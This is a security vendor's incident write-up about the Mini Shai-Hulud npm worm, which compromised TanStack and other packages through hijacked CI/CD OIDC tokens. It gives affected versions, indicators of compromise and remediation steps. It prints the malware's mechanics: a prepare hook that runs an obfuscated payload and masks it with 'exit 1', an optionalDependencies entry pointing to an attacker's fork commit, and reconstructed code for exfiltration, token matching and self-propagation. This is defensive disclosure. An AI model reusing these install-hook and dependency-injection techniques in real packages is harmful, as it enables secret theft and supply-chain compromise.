Back to Blog

Mini Shai-Hulud Is Back: A Self-Spreading Supply Chain Attack Compromises TanStack npm Packages

The Mini Shai-Hulud worm is actively compromising legitimate npm packages by hijacking CI/CD pipelines and stealing developer secrets. StepSecurity's OSS Package Security Feed first detected the attack in official @tanstack packages and is tracking its spread across the ecosystem in real time.
Ashish Kurmi
View LinkedIn

May 11, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

Active Incident:  This attack is still spreading.

We have notified maintainers for the compromised packages.

On May 11, 2026, the Mini Shai-Hulud worm, a self-propagating malware that spreads by stealing CI/CD secrets, compromised several @tanstack npm packages, collectively downloaded millions of times per week. The attack injected a 2.3 MB obfuscated credential-stealing payload into one of the most widely used React routing libraries and published the malicious versions through the project's own GitHub Actions release pipeline using hijacked OIDC tokens, making it the first documented case of a self-spreading npm worm that carries valid SLSA provenance attestations. The worm has since spread beyond TanStack to other packages in the npm ecosystem.

StepSecurity's OSS Package Security Feed detected the compromised releases and is tracking the attack's spread in real time.

If you have installed any of the compromised versions listed below, especially in a CI/CD environment, assume all secrets accessible in that environment are compromised. Rotate tokens immediately.

Compromised Packages

Package Compromised Versions
@uipath/docsai-tool1.0.1
@uipath/packager-tool-apiworkflow0.0.19
@uipath/packager-tool-workflowcompiler-browser0.0.34
@uipath/packager-tool-functions0.1.1
@uipath/agent.sdk0.0.18
@uipath/filesystem1.0.1
@uipath/admin-tool0.1.1
@uipath/llmgw-tool1.0.1
@tanstack/arktype-adapter1.166.12, 1.166.15
@tanstack/eslint-plugin-router1.161.9, 1.161.12
@tanstack/eslint-plugin-start0.0.4, 0.0.7
@tanstack/history1.161.9, 1.161.12
@tanstack/nitro-v2-vite-plugin1.154.12, 1.154.15
@tanstack/react-router1.169.5, 1.169.8
@tanstack/react-router-devtools1.166.16, 1.166.19
@tanstack/react-router-ssr-query1.166.15, 1.166.18
@tanstack/react-start1.167.68, 1.167.71
@tanstack/react-start-client1.166.51, 1.166.54
@tanstack/react-start-rsc0.0.47, 0.0.50
@tanstack/react-start-server1.166.55, 1.166.58
@tanstack/router-cli1.166.46, 1.166.49
@tanstack/router-core1.169.5, 1.169.8
@tanstack/router-devtools1.166.16, 1.166.19
@tanstack/router-devtools-core1.167.6, 1.167.9
@tanstack/router-generator1.166.45, 1.166.48
@tanstack/router-plugin1.167.38, 1.167.41
@tanstack/router-ssr-query-core1.168.3, 1.168.6
@tanstack/router-utils1.161.11, 1.161.14
@tanstack/router-vite-plugin1.166.53, 1.166.56
@tanstack/solid-router1.169.5, 1.169.8
@tanstack/solid-router-devtools1.166.16, 1.166.19
@tanstack/solid-router-ssr-query1.166.15, 1.166.18
@tanstack/solid-start1.167.65, 1.167.68
@tanstack/solid-start-client1.166.50, 1.166.53
@tanstack/solid-start-server1.166.54, 1.166.57
@tanstack/start-client-core1.168.5, 1.168.8
@tanstack/start-fn-stubs1.161.9, 1.161.12
@tanstack/start-plugin-core1.169.23, 1.169.26
@tanstack/start-server-core1.167.33, 1.167.36
@tanstack/start-static-server-functions1.166.44, 1.166.47
@tanstack/start-storage-context1.166.38, 1.166.41
@tanstack/valibot-adapter1.166.12, 1.166.15
@tanstack/virtual-file-routes1.161.10, 1.161.13
@tanstack/vue-router1.169.5, 1.169.8
@tanstack/vue-router-devtools1.166.16, 1.166.19
@tanstack/vue-router-ssr-query1.166.15, 1.166.18
@tanstack/vue-start1.167.61, 1.167.64
@tanstack/vue-start-client1.166.46, 1.166.49
@tanstack/vue-start-server1.166.50, 1.166.53
@tanstack/zod-adapter1.166.12, 1.166.15
@draftauth/client0.2.1
@draftauth/core0.13.1
@draftlab/auth0.24.1
@draftlab/auth-router0.5.1
@draftlab/db0.16.1
@taskflow-corp/cli0.1.26, 0.1.27
@tolka/cli1.0.2

This list is growing. Monitor the StepSecurity OSS Security Feed for the latest affected packages.

How the Attack Works

The attack uses a dual-payload delivery mechanism: a malicious optionalDependencies entry that executes code at install time, and an embedded obfuscated JavaScript file that can be invoked directly. Both payloads steal CI/CD secrets and exfiltrate them to attacker-controlled infrastructure.

Step 1: Staging the Payload in a Fork

The attacker created a fork of TanStack/router on May 10, 2026, and pushed a single commit (79ac49ee) containing two files:

1. package.json defines the fake @tanstack/setup package:

{
  "name": "@tanstack/setup",
  "version": "1.0.0",
  "scripts": {
    "prepare": "bun run tanstack_runner.js  && exit 1"
  },
  "dependencies": {
    "bun": "^1.3.13"
  }
}

The prepare lifecycle hook runs automatically when the dependency is installed via a github: URL. The trailing && exit 1 is deliberate: it causes the optional dependency to "fail" gracefully, leaving minimal traces in logs while the payload has already executed.

2. tanstack_runner.js is a 2,339,346-byte single-line obfuscated JavaScript file (the primary malicious payload).

Because this commit lives in the attacker's fork, it is reachable via GitHub's shared object storage at github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c, a URL that appears to reference the legitimate TanStack/router repository.

Step 2: Injecting the Payload into Published Packages

Two modifications were made to each compromised package, compared to its clean predecessor:

Modification 1: A new optionalDependencies field was added to package.json:

// Added to every compromised package
"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Modification 2: A file named router_init.js (2,341,681 bytes) was placed at the package root.

The files field in package.json only lists ["dist", "src"], so router_init.js should not be included in the published tarball. Its presence confirms the tarball was tampered with outside the normal build process.

A side-by-side comparison of the clean and compromised versions makes the injection obvious:

Attribute Clean (1.166.42) Compromised (1.166.48)
File count 101 124 (+23 files)
Unpacked size 867,818 bytes 3,209,621 bytes (3.7x larger)
Tarball size 190 KB 905 KB
router_init.js at root Not present Present (2,341,681 bytes, single line)
optionalDependencies Not present @tanstack/setup pointing to attacker's fork commit
Publisher GitHub Actions (OIDC) GitHub Actions (OIDC), same trusted publisher

Step 3: Publishing via the Legitimate CI/CD Pipeline

The compromised packages carry valid SLSA provenance attestations, issued by npm's Sigstore-based signing infrastructure, tied to the legitimate TanStack/router Release workflow:

// SLSA Provenance from compromised @tanstack/router-generator@1.166.48
{
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": {
    "buildDefinition": {
      "buildType": "https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1",
      "externalParameters": {
        "workflow": {
          "ref": "refs/heads/main",
          "repository": "https://github.com/TanStack/router",
          "path": ".github/workflows/release.yml"
        }
      }
    },
    "runDetails": {
      "builder": { "id": "https://github.com/actions/runner/github-hosted" },
      "metadata": {
        "invocationId": "https://github.com/TanStack/router/actions/runs/25691781302/attempts/1"
      }
    }
  }
}

The workflow run 25691781302 was triggered by a legitimate push to main. Its "Run Tests" step failed, so the normal "Publish Packages" step was skipped. Yet the packages were published during the same window. The malicious code exploited the workflow's ambient OIDC token (id-token: write) to publish directly to npm, bypassing the workflow's own publish step.

This is a critical insight: SLSA provenance confirms which pipeline produced the artifact, not whether the pipeline was behaving as intended. A compromised build step can produce a validly-attested but malicious package.

The Malicious Payload: router_init.js

The payload, identical across all compromised @tanstack packages (SHA-256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c), is a 2.3 MB single-line JavaScript file using heavy obfuscation.

Obfuscation Layers

The code employs multiple layers of obfuscation to resist static analysis:

  1. Hexadecimal variable names: All variable and function names use the _0x prefix pattern (e.g., _0x5b1880, _0x253b), with 163 unique hex variables in the first 10 KB alone.
  2. String table rotation: A large array (_0x4396) holds encoded strings, accessed indirectly through a resolver function (_0x253b). The array is shuffled at startup via an IIFE that rotates elements until a checksum matches (0x79e08).
  3. AES-256-GCM encryption: Sensitive strings (domains, paths, token patterns) are encrypted. A function named beautify() performs a first decoding pass, then a second function w8() decrypts using AES-256-GCM and decompresses with gzip:
// Reconstructed w8() decryption function (deobfuscated)
import { createDecipheriv } from 'crypto';

function w8(key, encryptedData) {
  let keyBuf    = Buffer.from(key, 'base64');
  let dataBuf   = Buffer.from(encryptedData, 'hex');
  let iv        = dataBuf.subarray(0, 12);         // 12-byte IV
  let authTag   = dataBuf.subarray(12, 28);         // 16-byte GCM auth tag
  let ciphertext = dataBuf.subarray(28);             // remaining ciphertext

  let decipher  = createDecipheriv('aes-256-gcm', keyBuf, iv);
  decipher.setAuthTag(authTag);

  let decrypted = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
  return new TextDecoder().decode(Bun.gunzipSync(decrypted));
  //                               ^^^ requires Bun runtime
}

The code contains 396 unique encrypted string constants decoded via beautify(), covering domain names, URL paths, token patterns, file paths, and command strings.

Credential Collection

The payload uses 10 dedicated collector classes to harvest secrets from multiple sources. The payload explicitly defines regex patterns to match GitHub token formats:

// Extracted from obfuscated code: token matching patterns
{
  ghsjwt:  /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g,  // GitHub JWT tokens
  ghs_old: /ghs_[A-Za-z0-9]{36,}/g                                        // Legacy GitHub server tokens
}

CI/CD Environment Detection

The malware reads multiple GitHub Actions environment variables to determine if it is running in a CI pipeline and to gather context about the target:

  • GITHUB_WORKFLOW_REF identifies the specific workflow
  • GITHUB_REPOSITORY is the repository being built
  • GITHUB_REPOSITORY_ID is the numeric repository identifier
  • GITHUB_EVENT_NAME is the trigger type (push, pull_request, etc.)
  • GITHUB_SERVER_URL is the GitHub instance URL

The function Ij() checks whether the current workflow and repository match specific targets, suggesting the worm can behave differently depending on which project it is executing inside. This allows it to prioritize high-value targets for deeper exploitation.

Module Imports

The payload's import statements reveal the full scope of its capabilities:

Module Imported Functions Purpose
crypto createDecipheriv, createHash, pbkdf2Sync, generateKeyPairSync, sign, createHmac Decryption, key derivation, signing npm packages
child_process execSync, spawn Arbitrary command execution
fs / fs/promises readFileSync, writeFileSync, existsSync, unlinkSync, copyFileSync, readFile Reading secrets from disk, writing payloads, self-cleanup
os homedir, tmpdir Locating user home directory and temp files
stream Readable, pipeline Streaming exfiltration
module createRequire Dynamic module loading

The combination of execSync, spawn, generateKeyPairSync, and sign indicates the worm can not only steal credentials but also generate key pairs and sign artifacts, consistent with the ability to publish authenticated packages to npm.

Exfiltration Infrastructure

Stolen credentials are sent to an attacker-controlled server over HTTPS (port 443). The exfiltration uses a buffered dispatch system:

// Reconstructed from obfuscated main function wj()
let config = {
  domain: beautify(encrypted_domain),   // AES-encrypted, resolved at runtime
  port: 0x1bb,                          // 443 (HTTPS)
  path: beautify(encrypted_path),       // AES-encrypted endpoint path
  dry_run: false                        // NOT a test, live exfiltration
};

let dispatcher = new gK({
  senders: [networkSender, fileSender, fallbackSender],
  preflight: true,
  dryRun: false
});

let buffer = new bK({
  flushThresholdBytes: 0x19000,         // 102,400 bytes: batches data before sending
  dispatch: dispatcher.send
});

The use of multiple sender classes provides redundancy. If one exfiltration channel fails, others serve as fallbacks.

The Self-Propagation Mechanism

What makes the Mini Shai-Hulud worm especially dangerous is its ability to spread autonomously. The code at the end of the payload processes stolen tokens and uses them to infect additional packages:

// Reconstructed from the tail of router_init.js (deobfuscated)
// After collecting tokens, the worm processes them:

if (!networkSender?.isSuccessful()) {
  let fallbackResult = await fallbackSender.tryCreate(collectedTokens);
}

// For each discovered GitHub token:
for (let token of matches.ghs_old) {
  await new tq(token).execute();  // uses stolen token to compromise more packages
}
for (let token of matches.ghs_jwt) {
  await new tq(token).execute();  // same for JWT tokens
}

// Final cleanup
await buffer.flush();
OV();                             // cleanup function: removes temp files
process.exit(0);                  // silent exit

The tq class takes a stolen token and uses it to authenticate against the npm registry or GitHub API, identify other packages the token has write access to, inject the same malicious payload, and publish new compromised versions. This is the worm's propagation loop.

Indicators of Compromise

Malicious Payload Hashes (SHA-256)

  • router_init.js (embedded in all @tanstack packages): ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
  • tanstack_runner.js (from git commit): 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
  • @tanstack/setup package.json: 7c12d8614c624c70d6dd6fc2ee289332474abaa38f70ebe2cdef064923ca3a9b

Attacker Infrastructure

  • GitHub account: voicproducoes (ID: 269549300), created 2026-03-19
  • Email: voicproducoes@gmail.com
  • Fork: voicproducoes/router (fork of TanStack/router, created 2026-05-10)
  • Malicious commit: 79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • Worm marker repos: siridar-ghola-567, tleilaxu-ornithopter-43, described as "A Mini Shai-Hulud has Appeared"
  • Exfiltration port: 443 (HTTPS)
  • Exfiltration buffer flush threshold: 102,400 bytes (0x19000)

Detection Signals

  • Presence of router_init.js at the package root (not in dist/ or src/)
  • optionalDependencies pointing to a github: URL with a specific commit hash
  • Package size anomaly: compromised tarballs are ~900 KB vs ~190 KB for clean versions
  • Two versions of the same package published within minutes (double-tap pattern)
  • prepare script in a dependency that runs an obfuscated .js file via Bun
  • Outbound HTTPS connections during npm install or build steps

Am I Affected?

1. Check Your Lockfiles

Search for compromised versions in your dependency tree:

# For npm
grep "@tanstack/" package-lock.json | grep -v node_modules

# For pnpm
grep "@tanstack/" pnpm-lock.yaml

# For yarn
grep "@tanstack/" yarn.lock

# Also check for non-TanStack affected packages
grep -E "(draftlab|draftauth|taskflow-corp|tolka)" package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null

Cross-reference the resolved versions against the compromised versions tables above.

2. Check for the Malicious File

# Search node_modules for the injected payload
find node_modules -name "router_init.js" -type f 2>/dev/null

# Search for the malicious optional dependency
grep -r "@tanstack/setup" node_modules/*/package.json 2>/dev/null

3. Check CI/CD Logs

Search your GitHub Actions logs for evidence of the worm executing:

  • Any reference to @tanstack/setup during dependency installation
  • Unexpected outbound network connections during build/test steps
  • bun run tanstack_runner.js in process logs
  • router_init.js appearing in file system operations

Recovery Steps

For Individual Developers

  1. Pin to safe versions: Downgrade to the last clean version for each affected package (see table above).
  2. Delete node_modules and reinstall: rm -rf node_modules && npm install
  3. Rotate credentials: If you ran npm install with a compromised version, rotate any npm tokens, GitHub PATs, and cloud API keys accessible on that machine.
  4. Check for ~/.npmrc exfiltration: The worm reads homedir and file system secrets. Review ~/.npmrc for stored tokens and rotate them.

For CI/CD Environments (Critical)

  1. Rotate all CI secrets immediately: GitHub tokens, npm tokens, NX_CLOUD_ACCESS_TOKEN, cloud provider credentials, and any other secrets available in the workflow environment.
  2. Audit GitHub Actions runs: Review runs that occurred after the compromised versions were published (after 2026-05-11T19:20Z). Look for unexpected npm publish events.
  3. Check for downstream propagation: If any of your packages were published during a CI run that installed a compromised version, those published versions may also be compromised.
  4. Review npm access tokens: Run npm token list and revoke any tokens you don't recognize.

For the Community

  • Monitor the StepSecurity OSS Package Security Feed for newly compromised packages as this worm continues to spread.
  • Use StepSecurity Harden Runner in your GitHub Actions workflows to detect and block anomalous outbound network connections, unauthorized process executions, and file system tampering during CI/CD.
  • Consider adding --ignore-scripts to npm install in CI and running lifecycle scripts explicitly for known dependencies.
  • Verify package integrity with npm audit signatures, but remember that valid provenance does not guarantee safety, as this attack demonstrated.

Key Takeaway

This attack demonstrates that the npm ecosystem's trust model has a fundamental gap: provenance attestations prove where a package was built, not what was built. A worm that compromises a CI/CD pipeline inherits the pipeline's identity: its OIDC tokens, its SLSA signatures, its trusted publisher status. From the registry's perspective, the malicious publish is indistinguishable from a legitimate one.

Defending against this class of attack requires runtime visibility into CI/CD pipelines: monitoring the actual network connections, process executions, and file system changes that occur during builds, not just verifying the provenance label on the output.

The StepSecurity OSS Package Security Feed will continue to be updated as this incident evolves and new compromised packages are identified.

Blog

Explore Related Posts